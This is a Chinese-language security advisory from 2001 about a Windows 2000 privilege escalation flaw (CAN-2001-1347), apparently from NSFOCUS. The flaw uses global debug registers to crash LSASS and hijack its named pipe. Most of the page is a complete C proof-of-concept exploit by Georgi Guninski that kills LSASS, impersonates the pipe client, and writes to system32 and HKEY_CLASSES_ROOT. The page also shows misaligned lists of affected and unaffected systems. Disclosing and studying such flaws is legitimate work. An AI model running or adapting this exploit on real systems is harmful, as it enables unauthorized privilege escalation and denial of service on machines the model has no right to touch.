首页 -> 安全研究
安全研究
安全漏洞
微软Win2K通过调试寄存器提升权限漏洞
发布日期:2001-05-28
更新日期:2001-05-28
受影响系统:
不受影响系统:
- Microsoft Windows 2000
- Microsoft Windows 2000 SP1
描述:
- Microsoft Windows 2000 SP2
BUGTRAQ ID: 2764
CVE(CAN) ID: CAN-2001-1347
如果某人能够在目标Win2K系统上执行程序,则他可以提升自己的权限,至少他可以使自己对%SystemRoot%\system32目录和注册表中的HKEY_CLASSES_ROOT分支有写访问权限。
这是因为x86调试寄存器DR0~DR7对于所有进程来说是全局性的。因此在一个进程中所设的硬件断点会影响其它的进程和服务。如果该断点在某个服务中被触发,就会引发一个单步异常,该进程/服务就会被终止。该服务被终止后,就有可能劫持其受信任的命名管道,当另一个服务向这个命名管道写入时,就有可能冒充该服务。
<* 来源:Georgi Guninski(guninski@guninski.com)*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Georgi Guninski(guninski@guninski.com)给出一个演示程序:
http://www.guninski.com/pipe3.cpp
该程序通过在CALC.EXE中设置硬件断点来杀掉LSASS.EXE,劫持了命名管道\\.\pipe\lsass,
并启动taskmgr.exe。
如果你看到来自CALC.EXE之外的单步异常对话框或(和)蓝屏死机,则存在漏洞。
该程序有两个可能需要修改的参数,一个是LSASS.EXE的进程ID,另外一个是可能会使LSASS.EXE
引起单步异常的ESP寄存器的值,这个值可以通过察看LSASS.EXE的某个线程的堆栈指针而得到。
另外,如果遇到蓝屏死机的情况,可能还需要修改Sleep( )的参数。
该程序将会创建一个文件c:\winnt\system32\vv1.vv,并在注册表中创建一个键HKEY_CLASSES_ROOT\vv。
// Win2K elevation of privileges
// Written by Georgi Guninski http://www.guninski.com
// Kind of ugly but works
// Check the disclaimer and advisory at http://www.guninski.com/dr07.html
#define _WIN32_WINNT 0x0500
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
// may need to change below
///////////////////////////////
DWORD lsasspid=224; // pid of LSASS.EXE
//DWORD lsasspid=236; // pid of LSASS.EXE
DWORD MAGICESPINLSA=0x0053ffa0; // ESP in LSASS.EXE - may need to change it
//////////////////////////////
char szPipe[64]="\\\\.\\pipe\\lsass";
HANDLE hProc = NULL;
PROCESS_INFORMATION pi;
volatile int lsadied = 0;
unsigned long __stdcall threadlock(void *v)
{
Sleep(1000);
LockWorkStation();
return 0;
}
unsigned long __stdcall threadwriter(void *v)
{
while(!lsadied)
{
FILE *f1;
f1=fopen("\\\\.\\pipe\\lsass","a");
if (f1 != NULL)
{
fprintf(f1,"A");
fclose(f1);
}
/*
else
printf("%s\n","error writing to pipe");
*/
Sleep(400);
}
printf("%s\n","Stop writing to pipe");
return 0;
}
unsigned long __stdcall waitlsadie(void *v)
{
int lsadied2=0;
long ( __stdcall *NtQuerySystemInformation )( ULONG, PVOID, ULONG, ULONG ) = NULL;
if ( !NtQuerySystemInformation )
NtQuerySystemInformation = ( long ( __stdcall * )( ULONG, PVOID, ULONG,
ULONG ) ) GetProcAddress( GetModuleHandle( "ntdll.dll" ),"NtQuerySystemInformation" );
typedef struct _tagThreadInfo
{
FILETIME ftCreationTime;
DWORD dwUnknown1;
DWORD dwStartAddress;
DWORD dwOwningPID;
DWORD dwThreadID;
DWORD dwCurrentPriority;
DWORD dwBasePriority;
DWORD dwContextSwitches;
DWORD dwThreadState;
DWORD dwWaitReason;
DWORD dwUnknown2[ 5 ];
} THREADINFO, *PTHREADINFO;
#pragma warning( disable:4200 )
typedef struct _tagProcessInfo
{
DWORD dwOffset;
DWORD dwThreadCount;
DWORD dwUnknown1[ 6 ];
FILETIME ftCreationTime;
DWORD dwUnknown2[ 5 ];
WCHAR* pszProcessName;
DWORD dwBasePriority;
DWORD dwProcessID;
DWORD dwParentProcessID;
DWORD dwHandleCount;
DWORD dwUnknown3;
DWORD dwUnknown4;
DWORD dwVirtualBytesPeak;
DWORD dwVirtualBytes;
DWORD dwPageFaults;
DWORD dwWorkingSetPeak;
DWORD dwWorkingSet;
DWORD dwUnknown5;
DWORD dwPagedPool;
DWORD dwUnknown6;
DWORD dwNonPagedPool;
DWORD dwPageFileBytesPeak;
DWORD dwPrivateBytes;
DWORD dwPageFileBytes;
DWORD dwUnknown7[ 4 ];
THREADINFO ti[ 0 ];
} _PROCESSINFO, *PPROCESSINFO;
#pragma warning( default:4200 )
PBYTE pbyInfo = NULL;
DWORD cInfoSize = 0x20000;
while(!lsadied2)
{
pbyInfo = ( PBYTE ) malloc( cInfoSize );
NtQuerySystemInformation( 5, pbyInfo, cInfoSize, 0 ) ;
PPROCESSINFO pProcessInfo = ( PPROCESSINFO ) pbyInfo;
bool bLast = false;
lsadied2 = 1;
do {
if ( pProcessInfo->dwOffset == 0 )
bLast = true;
if (pProcessInfo->dwProcessID == lsasspid)
lsadied2 = 0 ;
pProcessInfo = ( PPROCESSINFO ) ( ( PBYTE ) pProcessInfo + pProcessInfo->dwOffset );
} while( bLast == false );
free( pbyInfo );
}
printf("LSA died!\n");
lsadied=1;
return 0;
}
void add_thread(HANDLE thread)
{
CONTEXT ctx = {CONTEXT_DEBUG_REGISTERS};
//DR7=d0000540 DR6=ffff0ff0 DR3=53ffa0 DR2=0 DR1=0 DR0=0
SuspendThread(thread);
GetThreadContext(thread,&ctx);
ctx.Dr7=0xd0000540;
ctx.Dr6=0xffff0ff0;
ctx.Dr3=MAGICESPINLSA;
ctx.Dr2=0;
ctx.Dr1=0;
ctx.Dr0=0;
SetThreadContext(thread, &ctx);
ResumeThread(thread);
// printf("DR7=%x DR6=%x DR3=%x DR2=%x DR1=%x DR0=%x\n",ctx.Dr7,ctx.Dr6,ctx.Dr3,ctx.Dr2,ctx.Dr1,ctx.Dr0);
}
unsigned long __stdcall threaddeb(void *v)
{
STARTUPINFO si = {
sizeof(STARTUPINFO)
};
CreateProcess(0,"c:\\winnt\\system32\\taskmgr.exe",0,0,0,
CREATE_NEW_CONSOLE,0,0,&si,&pi);
Sleep(2000);
BOOL status = CreateProcess(
0,
"c:\\winnt\\system32\\calc.exe",
0,0,0,
DEBUG_PROCESS
| DEBUG_ONLY_THIS_PROCESS
| CREATE_NEW_CONSOLE,
0,0,&si,&pi);
if( !status )
{
printf("%s\n","error debugging");
exit(1);
}
add_thread(pi.hThread);
for( ;; )
{
DEBUG_EVENT de;
if( !WaitForDebugEvent(&de, INFINITE) )
{
printf("%s\n","error WaitForDebugEvent");
}
switch( de.dwDebugEventCode )
{
case CREATE_THREAD_DEBUG_EVENT:
add_thread(de.u.CreateThread.hThread);
break;
}
ContinueDebugEvent(de.dwProcessId,de.dwThreadId,DBG_CONTINUE);
}
return 0;
}
int main(int argc,char* argv[])
{
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dwNumber = 0;
char szUser[256];
HANDLE hPipe = 0;
if (argc > 1)
lsasspid=atoi(argv[1]);
if (argc > 2)
sscanf(argv[2],"%x",&MAGICESPINLSA);
printf("Fun with debug registers. Written by Georgi Guninski\n");
printf("vvdr started: lsasspid=%d breakp=%x\n",lsasspid,MAGICESPINLSA);
CreateThread(0, 0, &threadwriter, NULL, 0, 0);
CreateThread(0, 0, &waitlsadie, NULL, 0, 0);
CreateThread(0, 0, &threaddeb, NULL, 0, 0);
while(!lsadied);
printf("start %s\n",szPipe);
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
printf ("Failed to create named pipe:\n %s\n", szPipe);
return 3;
}
CreateThread(0, 0, &threadlock, NULL, 0, 0);
ConnectNamedPipe (hPipe, NULL);
if (!ReadFile (hPipe, (void *) &dwNumber, 4, &dwSize, NULL))
{
printf ("Failed to read the named pipe.\n");
CloseHandle(hPipe);
return 4;
}
if (!ImpersonateNamedPipeClient (hPipe))
{
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 5;
}
dwSize = 256;
GetUserName(szUser, &dwSize);
printf ("Impersonating dummy :) : %s\n\n\n\n", szUser);
// the action begins
FILE *f1;
f1=fopen("c:\\winnt\\system32\\vv1.vv","a");
if (f1 != NULL)
{
fprintf(f1,"lsass worked\n");
fclose(f1);
printf("\n%s\n","Done!");
}
else
printf("error creating file");
fflush(stdout);
HKEY mykey;
RegCreateKey(HKEY_CLASSES_ROOT,"vv",&mykey);
RegCloseKey(mykey);
CloseHandle(hPipe);
return 0;
}
建议:
厂商补丁:
微软宣称Win2K SP2中已解决本问题,但目前尚未得到证实。
微软SP2下载地址:
http://www.microsoft.com/windows2000/downloads/servicepacks/sp2/default.asp
浏览次数:4393
严重程度:0(网友投票)
绿盟科技给您安全的保障